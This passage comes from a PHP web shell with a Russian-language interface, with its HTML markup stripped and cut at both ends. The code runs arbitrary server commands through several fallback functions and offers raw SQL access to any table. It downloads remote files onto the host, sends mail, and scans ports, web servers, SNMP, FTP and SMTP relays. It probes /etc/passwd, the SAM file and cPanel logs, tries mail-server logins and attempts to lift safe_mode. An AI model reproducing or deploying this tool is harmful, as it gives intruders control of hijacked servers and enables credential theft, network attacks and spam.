    "; @mysql_free_result($r_q_bd); } } if (isset($drop_table) && isset($db)){ mysql_select_db($db) or die("$h_error".mysql_error()."$f_error"); $query = "DROP TABLE IF EXISTS $drop_table"; $result = mysql_query($query) or die("$h_error".mysql_error()."$f_error"); $t=base64_encode("Action: Таблица [ $drop_table ] успешно удалена.
    "); print ""; unset($drop_table); } if (isset($q_i)) { $n_img($tag,$f_n,$img_c); } if (isset($db) && isset($tbl)) { $count=mysql_query ("SELECT COUNT(*) FROM $tbl"); $count_row= mysql_fetch_array($count); mysql_free_result($count); print "
    Структура Вставить SQL-запрос Дамп таблицы Переименовать Удалить таблицу

    "; if (isset($t)) { print "  ".base64_decode($t);} print "  БД:($db)    Таблица:($tbl)    Всего строк:($count_row[0])
    "; if (isset($_REQUEST['query_tbl']) || $_REQUEST['q_tbl']=='table') { print $form_query_db_tbl."
    "; } if (isset($new_query_tbl)) { $new_query_tbl=trim($new_query_tbl); print $form_query_db_tbl; $result_tbl = mysql_query($new_query_tbl) or die("$h_error".mysql_error()."$f_error"); if ($result_tbl !=='') { print "
    "; $start=$limit_start+$limit_count; if (isset($start) && ($start>0)) { print ""; if ($start+$limit_count >= $count_row[0]){ $start=$limit_start; $limit_count=$count_row[0]-$start; } if (isset($start) && ($limit_start >= 30) ){ $back=$limit_start-30; print ""; } print " "; if ( isset($limit_start) && ($start <= $count_row[0]) ){ print ""; } print "
      
      от строки    строк таблицы
    >\">
    "; } if ($alter_table=="TRUE"){ print "
    Переименовать таблицу [ $tbl ]
    Новое имя таблицы:
    "; } if (isset($alttbl)){ mysql_select_db($db) or die("$h_error".mysql_error()."$f_error"); $query = "ALTER TABLE $tbl RENAME TO $alttbl"; $result = mysql_query($query) or die("$h_error".mysql_error()."$f_error"); $t=base64_encode("Action: Таблица [ $tbl ] переименована в [ $alttbl ]
    "); print ""; } if (isset($st_tab) && $st_tab=='TRUE'){ mysql_select_db($st_db); $result = mysql_query('desc '.$tbl, $connection); print "
    Структура таблицы [ $tbl ]
    ". ""; for ($i=0;$i<@mysql_num_fields($result);$i++){ $name=mysql_field_name($result,$i); $name=eregi_replace("Field","Поле",trim($name)); $name=eregi_replace("Type","Тип",trim($name)); $name=eregi_replace("Null","Ноль",trim($name)); $name=eregi_replace("Key","Индексы",trim($name)); $name=eregi_replace("Default","По умолчанию",trim($name)); $name=eregi_replace("Extra","Дополнительно",trim($name)); $nn .= ""; } print "$nn"; while ($l_tbl = @mysql_fetch_array($result, MYSQL_ASSOC)) { print ""; foreach ($l_tbl as $k_tbl =>$col_v_tbl) { if (strtoupper(substr($col_v_tbl, 0, 3)) === 'PRI') { $col_v_tbl="Первичный"; } if (strtoupper(substr($col_v_tbl, 0, 3)) === 'UNI') { $col_v_tbl="Уникальный"; } if (strtoupper(substr($col_v_tbl, 0, 3)) === 'MUL' && $col_v_tbl !=='') { $col_v_tbl="Индекс"; } if (strtoupper(substr($col_v_tbl, 0, 3)) === 'YES') { $col_v_tbl="Да"; } if (eregi("Field", $k_tbl)) { print ""; }elseif (eregi("Type", $k_tbl)) { print ""; }else{ print ""; } } print ""; } print "
    $name
    ".htmlspecialchars($col_v_tbl)."".htmlspecialchars($col_v_tbl)."".htmlspecialchars($col_v_tbl)."

    "; @mysql_free_result($result); } if ($_REQUEST['q_tbl']=='table') { $q_tbl="SELECT * FROM `$tbl` WHERE 1 LIMIT 0, 30"; } if ($_REQUEST['return_sql']=='ok') { $q_tbl=trim($_REQUEST['new_query_tbl']); } $form_query_db_tbl="
    <;input type=\"hidden\" name=\"passwd\" value=\"$passwd\">
    Выполнить произвольный запрос к таблице ( $tbl )
    Показать PHP-код запроса

    Показать данный запрос снова

    Примеры запросов
    "; if ($_REQUEST['php_kod']=='ok') { print "PHP-код запроса:
    \$sql = \"$new_query_tbl\";

    "; } if (preg_match("[drop]",$new_query)) { print "Таблица удалена, обновите список таблиц базы."; } print "
    Запрос успешно выполнен
    "; for ($i=0;$i<@mysql_num_fields($result_tbl);$i++){ $name_tbl=mysql_field_name($result_tbl,$i); print ""; } print ""; while ($line_tbl = @mysql_fetch_array($result_tbl, MYSQL_ASSOC)) { print ""; foreach ($line_tbl as $key_tbl =>$col_value_tbl) { print ""; } print ""; } print "
    $name_tbl
    ".htmlspecialchars($col_value_tbl)."

    "; @mysql_free_result($result_tbl); } } if (!isset($alter_table) && !isset($st_tab) && !isset($query_tbl) && !isset($new_query_tbl) && !isset($dump) && !isset($strukt) && !isset($query_edit) && !isset($query_del) && !isset($q_get) && !isset($nn_row) && !isset($nn) && !isset($upd_f)) { print "
    "; $query_ind = 'SHOW KEYS FROM '.$tbl; $result_ind = mysql_query($query_ind) or die("$h_error".mysql_error()."$f_error"); while ($row = mysql_fetch_array($result_ind, MYSQL_ASSOC)) { if ($row['Key_name'] == 'PRIMARY') { $primary[] .= $row['Column_name']; } } mysql_free_result($result_ind); $query = "SELECT * FROM $tbl LIMIT $limit_start,$limit_count"; $result = mysql_query($query) or die("$h_error".mysql_error()."$f_error"); if (mysql_num_rows($result) == 0) { print "Таблица $tbl не содержит ни одной записи"; }else{ print ""; for ($i=0;$i$name"; } } while ($line = mysql_fetch_array($result, MYSQL_ASSOC)) { print ""; foreach ($line as $key =>$col_value) { if (count($primary) > 0) { if (in_array($key,$primary)) { $edit .= urlencode("`$key`='$col_value' AND "); } } else { $edit .= urlencode("`$key`='$col_value' AND "); } $string .= ""; } $edit=substr_replace($edit,"",-5); print "". "". $string.""; unset($edit); unset($string); } mysql_free_result($result); print "
    ".htmlspecialchars($col_value)."
    EditDel

    "; } if (isset($query_del)) { $query = 'DELETE FROM '.$tbl.' WHERE '.urldecode($query_del); $r_del = mysql_query($query) or die("$h_error".mysql_error()."$f_error"); print "Успешно удалено строк ( ".mysql_affected_rows()." )"; } if (isset($query_edit)) { $query = 'SELECT * FROM '.$tbl.' WHERE '.urldecode($query_edit); $r_edit = mysql_query($query) or die("$h_error".mysql_error()."$f_error"); print "
    Редактирование значений полей таблицы
    ". "". ""; print "". "". "". "". "". "". "". "". ""; print "Обновить значения  ИЛИ   ". "Вставить новый ряд

    "; while ($line = mysql_fetch_array($r_edit, MYSQL_ASSOC)) { foreach ($line as $key =>$col_value) { $del_str_с .= "`$key`='$col_value' AND "; $len_value=strlen($col_value); if ($len_value > 40) { $t_value=""; } else { $t_value=""; } $g_query .= ""; } } $del_str=urlencode($del_str_с); print ""; print "$g_query
    ПолеЗначение
    $key$t_value

    "; print "
    "; } if (isset($q_get)) { $url=$HTTP_SERVER_VARS['QUERY_STRING']; if ($_REQUEST['up_str']=='up_ok') { $del_str=urldecode(substr_replace($del_str,"",-5)); $b = explode('&', $url); for ($i = 10; $i < count($b); $i++) { $q = explode("=",$b[$i]); $q_a .= "`".$q[0]."`='".$q[1]."', "; } $q_a_ins=urldecode(substr_replace($q_a,"",-2)); $q_st=urldecode(substr_replace($q_st,"",-2)); $up="UPDATE `$tbl` SET $q_a_ins WHERE $del_str LIMIT 1"; $q_ins_new = mysql_query($up) or die("$h_error".mysql_error()."$f_error"); $c_a_r=mysql_affected_rows(); print "". "
    ". "PHP-код запроса:
    \$sql=\"$up\";
    Изменено строк ($c_a_r)
    "; } if ($_REQUEST['up_str']=='ins_ok') { $b = explode('&', $url); for ($i = 10; $i < count($b); $i++) { $q = explode("=",$b[$i]); $i_cols .="`$q[0]`, "; $i_val .= "'$q[1]', "; } $i_cols=urldecode(substr_replace($i_cols,"",-2)); $q_a_ins=urldecode(substr_replace($i_val,"",-2)); $up="INSERT INTO `$tbl` ($i_cols) VALUES ($q_a_ins)"; $q_ins_new = mysql_query($up) or die("$h_error".mysql_error()."$f_error"); $c_a_r=mysql_affected_rows(); print "". "
    ". "PHP-код запроса:
    \$sql=\"$up\";
    Изменено строк ($c_a_r)
    "; } } if (isset($nn_row) && $_REQUEST['nn_row']=='ok') { $nn_q = 'SHOW FIELDS FROM '.$tbl; $r_n = mysql_query($nn_q) or die("$h_error".mysql_error()."$f_error"); print "
    ". " ". "". "". "". "". "". "". "". "
    Вставить новый ряд в таблицу [ $tbl ]
    ". "
    ". "". ""; while ($n_line = mysql_fetch_array($r_n, MYSQL_ASSOC)) { foreach ($n_line as $n_k =>$n_v) { $pole .= "$n_v "; } $n_l=explode(" ",$pole); print ""; unset($pole); } print "
    ПолеТипЗначение
     $n_l[0]  ". wordwrap($n_l[1],40,"
    ",1). " 


    "; } if (isset($nn) && $_REQUEST['nn']=='ok') { $url_n=urldecode($HTTP_SERVER_VARS['QUERY_STRING']); $b_nn = explode('&', $url_n); for ($i = 8; $i < count($b_nn); $i++) { $q_nn = explode("=",$b_nn[$i]); $q_a_nn .= "`".$q_nn[0]."` ,"; $q_nn_v .= "'".$q_nn[1]."' ,"; } $q_nn_ins=urldecode(substr_replace($q_a_nn,"",-2)); $q_nn_v=substr_replace($q_nn_v,"",-2); $sql_n="INSERT INTO `$tbl` ( $q_nn_ins ) VALUES ( $q_nn_v )"; mysql_query($sql_n) or die("$h_error".mysql_error()."$f_error"); $c_n_r=mysql_affected_rows(); print "   ". "". "
    Action: Успешно вставлено строк ($c_n_r)
    PHP-код запроса:
    \$sql=\"$sql_n\";


    "; } $form_dump= "
    ". " ". "". "". "". "". "". "". "". "
    ". "". "". "". "". "". "". "". "". "". "
    Dump таблицы [ $tbl ]
    Только структуру
    Только данные
    Структуру и данные

    Действие (показать/отправить)
    Показать в броузере
    Отправить файл дампа по HTTP

    ". "
    "; if ($dump=="tab"){ print $form_dump;} if ($_REQUEST['strukt']=='t_strukt' && $_REQUEST['send']=='send_br' ){ $host = $HTTP_SERVER_VARS["SERVER_NAME"]; $ip = $HTTP_SERVER_VARS["SERVER_ADDR"]; mysql_select_db($db) or die("$h_error".mysql_error()."$f_error"); $fp = fopen($file, "w"); fputs ($fp, "# Host settings:\n# $host ($ip)\n# MySQL version: (".mysql_get_server_info().")\n# Date: ". date("F j, Y, g:i a")."\n# "." dump db \"".$db."\" table \"".$tbl."\"\n#_________________________________________________________\n\n"); $res = mysql_query("SHOW CREATE TABLE `".$tbl."`", $connection) or die("$h_error".mysql_error()."$f_error"); $row = mysql_fetch_row($res); fputs($fp, "DROP TABLE IF EXISTS `".$tbl."`;\n"); fputs($fp, $row[1].";\n\n"); fclose($fp); $dump_file=file($file); print "
    "; foreach ($dump_file as $k=>$v){$v=str_replace("\n","
    ",$v);print "";} print "
    ".strip_tags($v,"
    ")."

    "; unlink($file); } if ($_REQUEST['strukt']=='d_strukt' && $_REQUEST['send']=='send_br'){ $host = $HTTP_SERVER_VARS["SERVER_NAME"]; $ip = $HTTP_SERVER_VARS["SERVER_ADDR"]; mysql_select_db($db) or die("$h_error".mysql_error()."$f_error"); $fp = fopen($file, "w"); fputs ($fp, "# Host settings:\n# $host ($ip)\n # MySQL version: (".mysql_get_server_info().")\n# Date: ". date("F j, Y, g:i a")."\n# "." dump db \"".$db."\" table \"".$tbl."\"\n#_________________________________________________________\n\n"); $res = mysql_query("SHOW CREATE TABLE `".$tbl."`", $connection) or die("$h_error".mysql_error()."$f_error"); $row = mysql_fetch_row($res); fputs($fp, "DROP TABLE IF EXISTS `".$tbl."`;\n"); fputs($fp, $row[1].";\n\n"); $res = mysql_query("SELECT * FROM `$tbl`", $connection); if (mysql_num_rows($res) > 0) { while ($row = mysql_fetch_assoc($res)) { $keys = implode("`, `", array_keys($row)); $values = array_values($row); foreach($values as $k=>$v) {$values[$k] = addslashes($v);} $values = implode("', '", $values); $sql = "INSERT INTO `$tbl`(`".$keys."`) VALUES ('".$values."');\n"; fputs($fp, $sql); } } fclose($fp); $dump_file=file($file); print "
    "; foreach ($dump_file as $k=>$v){$v=str_replace("\n","
    ",$v);print "";} print "
    ".strip_tags($v,"
    ")."

    "; unlink($file); } if ($_REQUEST['strukt']=='d' && $_REQUEST['send']=='send_br'){ $host = $HTTP_SERVER_VARS["SERVER_NAME"]; $ip = $HTTP_SERVER_VARS["SERVER_ADDR"]; mysql_select_db($db) or die("$h_error".mysql_error()."$f_error"); $fp = fopen($file, "w"); $res = mysql_query("SELECT * FROM `$tbl`", $connection); if (mysql_num_rows($res) > 0) { while ($row = mysql_fetch_assoc($res)) { $keys = implode("`, `", array_keys($row)); $values = array_values($row); foreach($values as $k=>$v) {$values[$k] = addslashes($v);} $values = implode("', '", $values); $sql = "INSERT INTO `$tbl`(`".$keys."`) VALUES ('".$values."');\n"; fputs($fp, $sql); } } fclose($fp); $dump_file=file($file); print "
    "; foreach ($dump_file as $k=>$v){$v=str_replace("\n","
    ",$v);print "";} print "
    ".strip_tags($v,"
    ")."

    "; unlink($file); } print "
    "; } if (isset($q_help) && $q_help=='ok'){ print 'Мини HELP по запросам
  • SHOW TABLES выводит список таблиц базы
  • SHOW OPEN TABLES выводит список таблиц, которые в настоящий момент открыты в кэше таблицы
  • SHOW TABLE STATUS структура таблиц базы
  • SELECT VERSION(), CURRENT_DATE выводит версию MySQL сервера и текущую дату
  • SELECT (2*2), (4+1)*5, (9/3), (5-3) используем MySQL как калькулятор: указываем через запятую арифметические операции
  • DROP TABLE IF EXISTS table_name удалить таблицу \"table_name\"
  • CREATE TABLE bar (m INT) создать таблицу bar с одним столбцом (m) типа integer
  • CREATE TABLE test (number INTEGER,texts CHAR(10)); создать таблицу test с полями number -тип INTEGER и поле texts -тип CHAR
  • CREATE TABLE `test` SELECT * FROM `rush`; создать таблицу test ,копируя таблицу rush
  • ALTER TABLE test CHANGE SITE OLD_SITE INTEGER переименовать столбец INTEGER из SITE в OLD_SITE
  • ALTER TABLE test RENAME rush переименовать таблицу test в rush
  • UPDATE mysql.user SET Password=PASSWORD(\'new_passwd\') WHERE user=\'root\' сменить юзеру root пароль
  • FLUSH PRIVILEGES перечитать таблицу привилегий юзеров
  • GRANT ALL PRIVILEGES ON *.* TO xXx@localhost IDENTIFIED BY \'some_pass\' WITH GRANT OPTION добавить нового супер-юзера mysql xXx с паролем some_pass '; } print "
     
    "; exit(); } function icon($file) { $ext=get_file_ext($file); if (getimagesize($file) != NULL) { $icon="img"; } elseif (is_dir($file)) { $icon="dir"; } elseif ($ext == "htm" || $ext == "html" || $ext == "mhtml") { $icon="html"; } elseif ($ext == "php" || $ext == "php3" || $ext == "php4" || $ext == "php5" || $ext == "phtml") { $icon="php"; } elseif ($ext == "exe" || $ext == "com" || $ext == "bat") { $icon="exe"; } elseif ($ext == "htaccess" || $ext == "txt" || $ext == "htpasswd" || $ext == "dat" || $ext == "log" || $ext == "ini" || $ext == "inf" || $ext == "inc" || $ext == "sql" || $ext == "rtf" || $ext == "doc") { $icon="txt"; } else { $icon="unk"; } return " "; } function flusher(){ flush(); ob_flush(); } if (!function_exists("file_get_contents")) { function file_get_contents($addr) { $a = fopen($addr,"r"); $tmp = fread($a,filesize($a)); fclose($a); if($a)return $tmp; } } if (!function_exists("file_put_contents")) { function file_put_contents($addr,$con) { $a = fopen($addr,"w"); if(!$a)return 0; fwrite($a,$con); fclose($a); return strlen($con); } } if (!function_exists("str_repeat")) { function str_repeat($str,$c){ $r=""; for($i=0; $i < $cu; $i++)$r.=$str; return $r; } } if (!empty($dl)) { ob_clean(); $con=file_get_contents($dl); header("Content-type: application/octet-stream"); header("Content-disposition: attachment; filename=\"$dl\";"); header("Content-length: ".strlen($con)); echo $con; exit; } if (!empty($img)) { header("Content-type: image/gif"); header("Content-length: ".filesize($img)); header("Last-Modified: ".date("r",filemtime($img))); echo file_get_contents($img); exit; } function showsize($size) { if ($size>=1073741824) { $size = round(($size/1073741824) ,2)." ГБ"; } elseif ($size>=1048576) { $size = round(($size/1048576),2)." МБ"; } elseif ($size>=1024) { $size = round(($size/1024),2)." КБ"; } else { $size .= " B"; } return $size; } if (substr((strtoupper(php_uname())),0,3)=="WIN") { $windows=1; } else { $windows=0; } function name(){ $name=''; srand((double)microtime()*100000); for ($i=0;$i<=rand(3,10);$i++){ $name.=chr(rand(97,122)); } return $name; } function whereistmp() { $uploadtmp=ini_get('upload_tmp_dir'); $envtmp=(getenv('TMP'))?getenv('TMP'):getenv('TEMP'); if(is_dir('/tmp') && is_writable('/tmp')) { return '/tmp'; } if(is_dir('/usr/tmp') && is_writable('/usr/tmp')) { return '/usr/tmp'; } if(is_dir('/var/tmp') && is_writable('/var/tmp')) { return '/var/tmp'; } if(is_dir($uploadtmp) && is_writable($uploadtmp)) { return $uploadtmp; } if(is_dir($envtmp) && is_writable($envtmp)) { return $envtmp; } return "."; } function shell($command){ global $windows,$disablefunctions; $exec = '';$output= ''; $dep[]=array('pipe','r');$dep[]=array('pipe','w'); if(is_callable('passthru') && !strstr($disablefunctions,'passthru')){ @ob_start();passthru($command);$exec=@ob_get_contents();@ob_clean();@ob_end_clean();} elseif(is_callable('system') && !strstr($disablefunctions,'system')){$tmp = @ob_get_contents(); @ob_clean();system($command) ; $output = @ob_get_contents(); @ob_clean(); $exec= $tmp; } elseif(is_callable('exec') && !strstr($disablefunctions,'exec')) {exec($command,$output);$output = join("\n",$output);$exec= $output;} elseif(is_callable('shell_exec') && !strstr($disablefunctions,'shell_exec')){$exec= shell_exec($command);} elseif(is_resource($output=popen($command,"r"))) {while(!feof($output)){$exec= fgets($output);}pclose($output);} elseif(is_resource($res=proc_open($command,$dep,$pipes))){while(!feof($pipes[1])){$line = fgets($pipes[1]); $output.=$line;}$exec= $output;proc_close($res);} elseif ($windows && is_object($ws = new COM("WScript.Shell"))){$dir=(isset($_SERVER["TEMP"]))?$_SERVER["TEMP"]:ini_get('upload_tmp_dir') ;$name = $_SERVER["TEMP"].name();$ws->Run("cmd.exe /C $command >$name", 0, true);$exec = file_get_contents($name);unlink($name);} else { $exec="Sorry, you can not execute commands on this server."; } $exec=convert_cyr_string ($exec, "a", "w"); return $exec; } function downloadit($get,$put){ $fo=strtolower(ini_get('allow_url_fopen')); if($fo || $fo=='on') { $con=file_get_contents($get); } else { $u=parse_url($get); $host=$u['host']; $file==(!empty($u['path']))?$u['path']:'/'; $url=fsockopen($host, 80, $en, $es, 12); fputs($url, "GET $file HTTP/1.0\r\nAccept-Encoding: */*\r\nHost: $host\r\nUser-Agent: Mozilla/5.0 (compatible; Konqueror/3.1; FreeBSD)\r\n\r\n"); $tmp=$con=''; while($tmp!="\r\n") { $tmp=fgets($url); } while(!feof($url)) { $con.=fgets($url); } } $mk=file_put_contents($put,$con); if($mk) { return 1; } return 0; } function smtplogin($addr,$user,$pass,$timeout){ $sock=fsockopen($addr,25,$n,$s,$timeout); if(!$sock) { return -1; } fputs($sock,'HELO '.name()."\r\n"); $res=fgets($res,3); if($res!='220') { return 0; } fputs($sock,"auth login\r\n"); $res=fgets($res,3); if($res!='220') { return 0; } fputs($sock,base64_encode($user)."\r\n"); $res=fgets($res,3); if($res!='220') { return 0; } fputs($sock,base64_encode($pass)."\r\n"); $res=fgets($res,3); if($res!='220') { return 0; } return 1; } function checksmtp($host,$timeout){ if (!fsockopen($host,25,$n,$s,$timeout)) { return 0; } return 1; } function check_url($url,$timeout){ $u=parse_url($url); $host=$u['host']; $file=(!empty($u['path']))?$u['path']:'/'; $sock=fsockopen($host,80,$en,$es,$timeout); if($sock){ fputs($sock,"GET $file HTTP/1.0\r\n"); fputs($sock,"Host: $host\r\n\r\n"); $res=substr(fgets($sock,12),9); if($res=='20') { return 1; } } return 0; } function get_sw_name($host,$timeout){ $sock=fsockopen($host,80,$en,$es,$timeout); if($sock){ $page=name().name(); fputs($sock,"GET /$page HTTP/1.0\r\n\r\n"); while(!feof($sock)) { $con=fgets($sock); if(strstr($con,'Server:')) {$ser=substr($con,strpos($con,' ')+1); return $ser;} } fclose($sock); return -1; } return 0; } function snmpcheck($ip,$com,$timeout) { $res=""; $packet = "0&".chr(2).chr(1).chr(0).chr(4).chr(strlen($com)).$com.chr(160).chr(25).chr(2).chr(1)."/".chr(2).chr(1).chr(0).chr(2).chr(1).chr(0)."0".chr(14)."0".chr(12).chr(6).chr(8)."+".chr(6).chr(1).chr(2).chr(1).chr(1).chr(2).chr(0).chr(5).chr(0); $sock = fsockopen("udp://$ip",161); socket_set_timeout($sock,$timeout); fputs($sock,$packet); socket_set_timeout($sock,$timeout); $res = fgets($sock); fclose($sock); return $res; } $safemode=(ini_get('safe_mode') or strtolower(ini_get('safe_mode')) == 'on')?'ON':'OFF'; if($safemode=="ON") { ini_restore("safe_mode"); ini_restore("open_basedir"); } function showimage($img) { echo "
    "; } function editor($file){ global $errorbox,$et,$hcwd; if (is_file($file)) { if (!is_readable($file)) { echo $errorbox." Файл не доступен для чтения".$et."
    "; } if (!is_writable($file)){ echo $errorbox." Файл не доступен для записи".$et."
    "; } $data = file_get_contents($file); echo "
    ".$hcwd."

    "; } else { echo "
    ".$hcwd."

    "; } echo $hcwd."
    "; } function webshell() { global $windows,$hcwd; if($windows) { $alias=""; } else { $alias=""; if(is_dir('/etc/valiases')) { $alias.=""; } if(is_dir('/etc/vdomainaliases')) { $alias.=""; } if(file_exists('/var/cpanel/accounting.log')) { $alias.=""; } if(is_dir('/var/spool/mail/')) { $alias.=""; } } echo "
    Путь:

    Web Shell:
    ".$hcwd."
    ".$hcwd."
    "; } function mailer(){ global $msgbox,$et,$hcwd; $cwd=getcwd(); if (!empty($_REQUEST['subject']) && !empty($_REQUEST['body']) && !empty($_REQUEST['from']) && !empty($_REQUEST['to'])) { $to=$_REQUEST['to']; $from=$_REQUEST['from']; $subject=$_REQUEST['subject']; $body=$_REQUEST['body']; if (!mail($to,$subject,$body,"From: $from")) { break; } echo $msgbox."Письмо отправлено!
    ".$et; } echo "

    Мейлер:
    SMTP".ini_get('SMTP')." (".ini_get('smtp_port').")
    От:".$hcwd."
    To:
    Тема:
    Сообщение:
    ".$et; } function scanner(){ global $hcwd; if (!empty($_SERVER["SERVER_ADDR"])) { $host=$_SERVER["SERVER_ADDR"]; } else { $host ="127.0.0.1"; } if (!empty($_REQUEST['target']) && !empty($_REQUEST['fromport']) && !empty($_REQUEST['toport']) && !empty($_REQUEST['timeout']) && !empty($_REQUEST['portscanner'])){ $target=$_REQUEST['target']; $from=(int) $_REQUEST['fromport']; $to=(int)$_REQUEST['toport']; $timeout=(int)$_REQUEST['timeout']; $nu = 0; echo "Начато сканирование портов ".htmlspecialchars($target).":
    "; for($i=$from;$i<=$to;$i++){ $scan=checkthisport($target,$i,$timeout); if ($scan){ $nu++; $ser=""; if(getservbyport($i,"tcp")) { $ser="(".getservbyport($i,"tcp").")"; } echo $nu.") ".$i." ".$ser." (Подключиться)
    "; } flusher(); } echo "Готово!
    "; } elseif (!empty($_REQUEST['securityscanner'])){ echo ""; if(!empty($_REQUEST['httpscanner'])){ flusher(); } $from=$_REQUEST['from']; $to=(int)$_REQUEST['to']; $timeout=(int)$_REQUEST['timeout']; $f = substr($from,strrpos($from,".")+1); $from = substr($from,0,strrpos($from,".")); for($i=$f;$i<=$to;$i++){ $output=0; $ip=$from.$i; if(!empty($_REQUEST['ipscanner'])){ $port=$_REQUEST['port']; if(strstr($port,",")) { $p=explode(",",$port); } else { $p[0]=$port; } $open=$ser=""; foreach($p as $po){ $scan=checkthisport($ip,$po,$timeout); if ($scan){ $ser=""; if($ser=getservbyport($po,"tcp"))$ser="(".$ser.")"; $open.=" ".$po.$ser." "; } } if($open){ echo $ip.") Открытые порты:".$open."
    "; $output=1; } flusher(); } if(!empty($_REQUEST['httpbanner'])){ $res=get_sw_name($ip,$timeout); if($res){ echo $ip.") ПО веб-сервера: "; if($res==-1) { echo "Неизвестно"; } else { echo $res; } echo "
    "; $output=1; } flusher(); } if(!empty($_REQUEST['httpscanner'])){ $scan=checkthisport($ip,80,$timeout); if($scan && $dl){ $file=file($buglist); foreach ($file as $v){ $v=trim($v); $url="http://".$ip.$v; $res=check_url($url,$timeout); if($res) { $output=1; echo $ip.")".$url."
    ";} flusher(); } $file=array(); } } if(!empty($_REQUEST['smtprelay'])){ $res=''; $res=checksmtp($ip,$timeout); if($res==1){ echo $ip.") SMTP релей найден.
    "; $output=1; } flusher(); } if(!empty($_REQUEST['snmpscanner']) && function_exists('socket_set_timeout')){ $com=$_REQUEST['com']; $coms=$res=""; if(strstr($com,",")) { $c=explode(",",$com); } else { $c[0]=$com; } foreach ($c as $v){ $ret=snmpcheck($ip,$v,$timeout); if ($res!="") { $coms .=" $v "; } } if ($coms!=""){ echo "".$ip.") SNMP найден: ".$coms."
    "; $output=1;} flusher(); } if(!empty($_REQUEST['ftpscanner'])){ $user=$_REQUEST['user']; $pass=$_REQUEST['pass']; $ftp=ftp_connect($ip,21,$timeout); if ($ftp) { if(ftp_login($ftp,$user,$pass)){ $output=1;echo "".$ip.") FTP найден: ".$ip." Вход: успешный Система: ".ftp_systype($ftp)."
    ";}; } flusher(); } if($output) { echo "
    "; } flusher(); } echo "
    "; }else{ echo "

    Сканер портов:
    Цель:
    От:
    До:
    Таймаут:
    ".$hcwd."
    "; $host = substr($host,0,strrpos($host,".")); echo "
    Сканер безопасности:
    От:
    До:xxx.xxx.xxx.".$hcwd."
    Таймаут:
    Сканер портов:
    Получить веб-баннерСканер безопасности веб-сервера   Проверка SMTP релея
    FTP пароль:Юзер: Пароль:
    SNMP:

    "; } } function sysinfo(){ global $windows,$disablefunctions,$safemode; $cwd= getcwd(); $mil="$osn",$os); $os = str_replace($ker,"${mil}Linux+Kernel\">$ker",$os); $inpa=':'; }else{ $sam = $sysroot."\\system32\\config\\SAM"; $inpa=';'; $os = str_replace($osn,"${mil}MS+Windows\">$osn",$os); } $software=str_replace("Apache","${mil}Apache\">Apache",$_SERVER['SERVER_SOFTWARE']); echo ""; if ($windows){ echo ""; }else{ echo ""; } $uip =(!empty($_SERVER['REMOTE_ADDR']))?$_SERVER['REMOTE_ADDR']:getenv('REMOTE_ADDR'); echo ""; if(function_exists('curl_init')) { echo ""; echo "
    Инфо о сервере:
    Сервер:".$_SERVER["HTTP_HOST"]; if (!empty($_SERVER["SERVER_ADDR"])){ echo "(". $_SERVER["SERVER_ADDR"] .")"; } echo "
    ОС:".$os.$osver."
    Приложение:".$software."
    Процессор:".$CPU."
    Состояние памяти:".$disksize."
    Домен пользователя:"; if (!empty($_SERVER['USERDOMAIN'])) { echo $_SERVER['USERDOMAIN']; } else { echo "Неизвестный"; } echo "
    User name:"; $cuser=get_current_user(); if (!empty($cuser)) { echo get_current_user(); } else { echo "Неизвестный"; } echo "
    Папка Windows:".$sysroot."
    Sam файл:"; if (is_readable(($sam))) { echo "Читаемый"; } else { echo "Нечитаемый"; } echo "
    Файл с паролями:"; if (is_readable('/etc/passwd')) { echo "Читаемый"; } else { echo'Нечитаемый'; } echo "
    Лог Cpanel:"; if (file_exists("/var/cpanel/accounting.log")){ if (is_readable("/var/cpanel/accounting.log")) { echo "Читаемый"; } else { echo "Не читаемый"; } }else{ echo "Не найден"; } echo "
    ${mil}PHP\">PHP версия:".PHP_VERSION." (подробнее...)
    Версия Zend:"; if (function_exists('zend_version')) { echo "".zend_version().""; } else { echo "Не найден"; } echo "
    Include path:".str_replace($inpa," ",DEFAULT_INCLUDE_PATH)."
    PHP модули:"; $ext=get_loaded_extensions(); foreach($ext as $v) { echo $v." "; } echo "
    Запрещённые функции:"; if(!empty($disablefunctions)) { echo $disablefunctions; } else { echo "Нет"; } echo"
    Безопасный режим:".$safemode."
    Open base dir:".$basedir."
    БД:";$sq=""; if(function_exists('mysql_connect')) { $sq= "${mil}MySQL\">MySQL "; } if(function_exists('mssql_connect')) { $sq.= " ${mil}MSSQL\">MSSQL "; } if(function_exists('ora_logon')) { $sq.= " ${mil}Oracle\">Oracle "; } if(function_exists('sqlite_open')) { $sq.= " SQLite "; } if(function_exists('pg_connect')) { $sq.= " ${mil}PostgreSQL\">PostgreSQL "; } if(function_exists('msql_connect')) { $sq.= " mSQL "; } if(function_exists('mysqli_connect')) { $sq.= " MySQLi "; } if(function_exists('ovrimos_connect')) { $sq.= " Ovrimos SQL "; } if (empty($sq)) { $sq= "Нет"; } echo $sq."
    Поддержка cURL:Есть "; } if(function_exists('curl_version')) { $ver=curl_version(); echo "(Версия:". $ver['version']." OpenSSL версия:". $ver['ssl_version']." zlib версия:". $ver['libz_version']." host:". $ver['host'] .")"; } echo "
    Инфо о клиенте:
    IP:".$uip."
    Agent:".htmlspecialchars(getenv('HTTP_USER_AGENT'))."
    "; } function checksum($file){ global $et; echo "".$hcwd."
    MD5: ".md5_file($file)."
    SHA1: ".sha1_file($file)."".$et; } function imaplogin($host,$username,$password){ $sock=fsockopen($host,143,$n,$s,5); $b=name(); $l=strlen($b); if(!$sock) { return -1; } $res=fgets($sock,512); fputs($sock,$b." LOGIN $username $password\r\n"); $res=fgets($sock,$l+4); if ($res == $b." OK") { return 1; } else { return 0; } fclose($sock); } function pop3login($server,$user,$pass){ $sock=fsockopen($server,110,$en,$es,5); if(!$sock) { return -1; } $r=fgets($sock); fwrite($sock,"user ".$user."\n"); $r=fgets($sock); if($r{0}=='-') { return 0; } fwrite($sock,"pass ".$pass."\n"); $r=fgets($sock); fclose($sock); if($r{0}=='+') { return 1; } return 0; } function tumb($src) { $width=19; $height=16; $rgb=0xFFFFFF; if (!file_exists($src)) return false; $size = getimagesize($src); if ($size == false) return false; $format = strtolower(substr($size['mime'], strpos($size['mime'], '/')+1)); $icfunc = "imagecreatefrom" . $format; if (!function_exists($icfunc)) return false; $x_ratio = $width / $size[0]; $y_ratio = $height / $size[1]; $ratio = min($x_ratio, $y_ratio); $use_x_ratio = ($x_ratio == $ratio); $new_width = $use_x_ratio ? $width : floor($size[0] * $ratio); $new_height = !$use_x_ratio ? $height : floor($size[1] * $ratio); $new_left = $use_x_ratio ? 0 : floor(($width - $new_width) / 2); $new_top = !$use_x_ratio ? 0 : floor(($height - $new_height) / 2); $isrc = $icfunc($src); $idest 